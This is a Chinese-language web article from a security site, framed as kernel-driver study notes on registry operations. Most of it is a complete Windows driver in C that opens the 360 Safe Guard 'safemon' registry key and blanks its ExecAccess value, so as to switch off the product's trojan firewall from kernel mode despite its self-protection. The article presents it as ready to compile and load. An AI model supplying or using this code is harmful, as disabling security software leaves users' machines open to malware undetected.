首页 网络安全 安全学院 查看内容

驱动学习笔记之注册表操作

2009-8-11 10:58 706 0

摘要:   对注册表的操作的和对文件的操作差不多 ,但是还是有些区别,下面就写一个对注册表操作的例子,这个是修改360安全卫士的注册表选项,使其木马防火墙失效。(在ring3下是不行的,编写驱动才行得通,即使...
关键词: 注册表 字符串 句柄 对象 ATTRIBUTES 函数 RtlInitUnicodeSt myhandle DriverObject OBJECT

  对注册表的操作的和对文件的操作差不多 ,但是还是有些区别,下面就写一个对注册表操作的例子,这个是修改360安全卫士的注册表选项,使其木马防火墙失效。(在ring3下是不行的,编写驱动才行得通,即使360开自我保护也无所谓)  首先明确一下流程:  1.定义一个操作对象OBJECT_ATTRIBUTES  2.用InitializeObjectAttributes()函数初始化这个对象  3.用ZwOpenKey()函数来打开注册表打开360的选项  4.用ZwSetValueKey()函数来把360木马防火墙的的键值设置成空  5用ZwClose()函数来关闭打开的注册表  代码如下:  #include <ntddk.h>  VOID Unload(IN PDRIVER_OBJECT DriverObject)  {}  NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING UnicodeString)  {  UNICODE_STRING path;//定义注册表路径字符串  UNICODE_STRING name;//定义名称字符串  UNICODE_STRING data;//定义数据字符串  OBJECT_ATTRIBUTES oa;//定义操作对象  HANDLE myhandle=NULL;//定义返回句柄  RtlInitUnicodeString(&path,L”\\Registry\\Machine\\SOFTWARE\\360Safe\\safemon”);//初始化注册表路径字符串  RtlInitUnicodeString(&name,L”ExecAccess”);//初始化名称字符串  RtlInitUnicodeString(&data,0);//初始化数据字符串  InitializeObjectAttributes(&oa,&path,OBJ_CASE_INSENSITIVE,NULL,NULL);//初始化操作对象  ZwOpenKey(//打开注册表  &myhandle,//返回句柄  KEY_WRITE,//权限  &oa//操作对象  );  ZwSetValueKey(//设置注册表键值  myhandle,//当前句柄  &name,//键名  0,  REG_SZ,//方式  data.Buffer,//字符串缓冲  data.Length//字符串长度  );  ZwClose(myhandle);//关闭注册表  DriverObject->DriverUnload=Unload;  return STATUS_SUCCESS;  }  编译后加载驱动就可以关闭360的木马防火墙了~
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部